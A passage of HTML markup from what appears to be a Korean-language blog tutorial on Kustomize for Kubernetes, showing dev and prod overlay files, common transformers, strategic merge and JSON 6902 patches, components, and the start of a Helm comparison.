    &lt;span class=&quot;token key atrule&quot;&gt;newTag&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1.27&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;alpine &lt;span class=&quot;token comment&quot;&gt;# 더 가벼운 이미지&lt;/span&gt;

&lt;span class=&quot;token key atrule&quot;&gt;replicas&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
    &lt;span class=&quot;token key atrule&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;

&lt;span class=&quot;token key atrule&quot;&gt;commonAnnotations&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;environment&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; development&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;3단계: Prod overlay&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;overlays/prod/kustomization.yaml&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; kustomize.config.k8s.io/v1beta1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Kustomization

&lt;span class=&quot;token key atrule&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; production
&lt;span class=&quot;token key atrule&quot;&gt;namePrefix&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; prod&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;

&lt;span class=&quot;token key atrule&quot;&gt;resources&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; ../../base

&lt;span class=&quot;token key atrule&quot;&gt;images&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
    &lt;span class=&quot;token key atrule&quot;&gt;newTag&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1.27&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# 안정 태그&lt;/span&gt;

&lt;span class=&quot;token key atrule&quot;&gt;replicas&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
    &lt;span class=&quot;token key atrule&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;

&lt;span class=&quot;token key atrule&quot;&gt;patches&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; resources&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;patch.yaml
    &lt;span class=&quot;token key atrule&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deployment
      &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;overlays/prod/resources-patch.yaml&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; apps/v1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deployment
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;template&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;containers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
          &lt;span class=&quot;token key atrule&quot;&gt;resources&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;cpu&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 500m
              &lt;span class=&quot;token key atrule&quot;&gt;memory&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 512Mi
            &lt;span class=&quot;token key atrule&quot;&gt;limits&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;cpu&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1000m
              &lt;span class=&quot;token key atrule&quot;&gt;memory&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1Gi&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;4단계: 렌더링 · 배포&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 렌더링해서 눈으로 확인&lt;/span&gt;
kubectl kustomize overlays/prod

&lt;span class=&quot;token comment&quot;&gt;# 바로 배포&lt;/span&gt;
kubectl apply &lt;span class=&quot;token parameter variable&quot;&gt;-k&lt;/span&gt; overlays/prod

&lt;span class=&quot;token comment&quot;&gt;# 제거&lt;/span&gt;
kubectl delete &lt;span class=&quot;token parameter variable&quot;&gt;-k&lt;/span&gt; overlays/prod&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;한 번도 템플릿 문법을 쓰지 않았고&lt;/strong&gt;, 모든 파일이 그 자체로 &lt;strong&gt;valid한 K8S YAML&lt;/strong&gt;입니다. 에디터 자동완성·검증이 전부 그대로 동작합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;주요 변환기(Transformers) — 자주 쓰는 6가지&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;kustomization.yaml&lt;/code&gt;에서 쓸 수 있는 &quot;내장 조작 기능&quot;들입니다.&lt;/p&gt;
&lt;h3&gt;1) &lt;code class=&quot;language-text&quot;&gt;commonLabels&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;commonAnnotations&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;모든 리소스에 공통 라벨·어노테이션을 붙입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;commonLabels&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;app.kubernetes.io/managed-by&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; kustomize
  &lt;span class=&quot;token key atrule&quot;&gt;team&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; platform

&lt;span class=&quot;token key atrule&quot;&gt;commonAnnotations&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;contact&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ops@example.com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2) &lt;code class=&quot;language-text&quot;&gt;namePrefix&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;nameSuffix&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;리소스 이름 앞·뒤에 접두/접미사. 같은 클러스터에 여러 환경 띄울 때 필수.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;namePrefix&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; prod&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;nameSuffix&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;v2
&lt;span class=&quot;token comment&quot;&gt;# nginx → prod-nginx-v2&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;3) &lt;code class=&quot;language-text&quot;&gt;namespace&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;모든 리소스의 네임스페이스를 일괄 지정.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; production&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;4) &lt;code class=&quot;language-text&quot;&gt;images&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;이미지 태그·레지스트리를 교체. 배포 파이프라인에서 &lt;strong&gt;가장 많이 쓰는&lt;/strong&gt; 기능.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;images&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
    &lt;span class=&quot;token key atrule&quot;&gt;newName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; myregistry.io/nginx &lt;span class=&quot;token comment&quot;&gt;# 레지스트리 교체&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;newTag&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; v1.2.4 &lt;span class=&quot;token comment&quot;&gt;# 태그 교체&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;CI에서 이 &lt;code class=&quot;language-text&quot;&gt;newTag&lt;/code&gt;만 &lt;code class=&quot;language-text&quot;&gt;sed&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;yq&lt;/code&gt;로 수정하면 CD가 이어지는 패턴이 흔합니다.&lt;/p&gt;
&lt;h3&gt;5) &lt;code class=&quot;language-text&quot;&gt;replicas&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;replica 개수 오버라이드.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;replicas&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
    &lt;span class=&quot;token key atrule&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;6) &lt;code class=&quot;language-text&quot;&gt;configMapGenerator&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;secretGenerator&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;ConfigMap·Secret을 &lt;strong&gt;파일 또는 literal에서 자동 생성&lt;/strong&gt;. &lt;strong&gt;해시 suffix&lt;/strong&gt;가 자동으로 붙어 &lt;strong&gt;변경 시 Pod 재시작&lt;/strong&gt;을 자연스럽게 유도.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;configMapGenerator&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; app&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;config
    &lt;span class=&quot;token key atrule&quot;&gt;files&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; configs/app.conf
    &lt;span class=&quot;token key atrule&quot;&gt;literals&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; LOG_LEVEL=info

&lt;span class=&quot;token key atrule&quot;&gt;secretGenerator&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; db&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;creds
    &lt;span class=&quot;token key atrule&quot;&gt;envs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; .env.prod&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 기능 하나만으로도 &quot;ConfigMap 바꾸고 Pod가 안 새로고침되는&quot; 고질적 이슈가 사라집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Patch 전략 — Strategic Merge vs JSON 6902&lt;/h2&gt;
&lt;p&gt;복잡한 변경은 patch 파일로 처리합니다. 두 가지 방식.&lt;/p&gt;
&lt;h3&gt;Strategic Merge Patch (추천, 대부분의 경우)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;YAML 부분 덮어쓰기&lt;/strong&gt;. K8S 리소스의 &quot;전략적 병합&quot; 규칙을 따름 (배열은 &lt;code class=&quot;language-text&quot;&gt;name&lt;/code&gt; 기반 병합 등).&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# overlays/prod/kustomization.yaml&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;patches&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; patch&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;resources.yaml
    &lt;span class=&quot;token key atrule&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deployment
      &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# overlays/prod/patch-resources.yaml&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; apps/v1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deployment
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;template&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;containers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
          &lt;span class=&quot;token key atrule&quot;&gt;env&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; NODE_ENV
              &lt;span class=&quot;token key atrule&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; production
          &lt;span class=&quot;token key atrule&quot;&gt;resources&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;limits&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;cpu&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1000m&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;장점:&lt;/strong&gt; YAML 그대로 읽힘. 리뷰·머지 쉬움.
&lt;strong&gt;단점:&lt;/strong&gt; 배열 요소를 &quot;이름 없이&quot; 추가할 때 제약 있음.&lt;/p&gt;
&lt;h3&gt;JSON 6902 Patch (정교한 제어)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;JSON Pointer 경로로 명령형 변경&lt;/strong&gt;. add/remove/replace 연산.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;patches&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deployment
      &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
    &lt;span class=&quot;token key atrule&quot;&gt;patch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
      - op: replace
        path: /spec/replicas
        value: 5
      - op: add
        path: /spec/template/spec/containers/0/env/-
        value:
          name: LOG_LEVEL
          value: debug&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;언제 쓰나:&lt;/strong&gt; 배열 요소 삭제, 정확한 인덱스 지정, Strategic Merge로 표현 불가능한 변경.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;실전 기준:&lt;/strong&gt; 평소엔 Strategic Merge, &lt;strong&gt;&quot;이 한 줄을 정확히 지워야 한다&quot; 같은 경우에만&lt;/strong&gt; JSON 6902. 섞어 쓸 수 있음.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Components — 재사용 가능한 기능 묶음&lt;/h2&gt;
&lt;p&gt;여러 overlay에서 &lt;strong&gt;공통으로 얹고 싶은 변경점&lt;/strong&gt;(예: 모니터링 사이드카, 보안 정책)을 Component로 추출.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;components/
└── monitoring/
    ├── sidecar-patch.yaml
    └── kustomization.yaml&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# components/monitoring/kustomization.yaml&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; kustomize.config.k8s.io/v1alpha1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Component

&lt;span class=&quot;token key atrule&quot;&gt;patches&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; sidecar&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;patch.yaml
    &lt;span class=&quot;token key atrule&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deployment&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;overlay에서 쓰기:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# overlays/prod/kustomization.yaml&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;resources&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; ../../base

&lt;span class=&quot;token key atrule&quot;&gt;components&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; ../../components/monitoring
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; ../../components/istio&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;injection&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Helm의 subchart보다 훨씬 가볍고&lt;/strong&gt; 선언적입니다. &quot;기능 단위 레이어&quot;를 섞어 쓰는 감각.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Helm vs Kustomize — 언제 뭘 쓰나?&lt;/h2&gt;
&lt;p&gt;가장 자주 받는 질문. 실전 기준으로 정리.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/ba8f80e4182d2ecfd17af885a971adb8/64756/diagram-vs-helm.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACMUlEQVR42j3S246bMBAGYN4gQA5g7GBONmBjMBgTEsimSTbbdrVVt5WqXlZqb/r+T1BzU+nTaCT7t8aWLQfWm6SnRY35DNhTzKeqv5fdjTZX3r9U+gHJAOmI6LgvTmFxMhXlIyTGwXKhwHlbVxWVcyzPrJ36402N90ZfRX8rh89BPsFiQvwJ8YupsDwvihlkg7WB7Hkq3m684qzIeVHWJK+zvKasS0kDxm/R699w+ILkA7UvqHkE9TNc3L10sLaoMvuE1DlTKZEJkbFB25h2xr65R/otbF8gv/jF2S9mL5939LSl0y7prQ0SMO48rHaB8KFYB9wF3F0qg4mE+REk2g1qF9YOFIYdCBtUbtjuYmXtwtpHIkwHiFu0b33YuGYNMNtjKO28VO8itSPaRiZWmdjCZ85ebiNleViiuAkTFUQSYhngBuAa4MYP65B0iC9vg9jZI+M67texNtWNlBvrTdhafiSjXMNMeXvhYeFjYZIgMkc0IVGwOPn04OLWQfI/21wh7NwlHLf7VIG4dUBprrpeVIYDeJBIQA5eqlawWvncBosVMD2zYWMmt4Kky1hPmM6rgXBtUG6agZR9WiqPHmE5b1K9iXoXKwcrG3f2vrVNY8IgVf10+/7z16cvP9R45fLI5FjWh1Ic0qKLuvvl/ffl/Q85fd1WtzW/rtkHp7g4ZF7BxoKZZmI4zI+mP+diyCtNWJ+VKiu7iEjzt9L+Ix1fN+XZzWfDppOdndbZyUz+D3sEcKfu2bWBAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
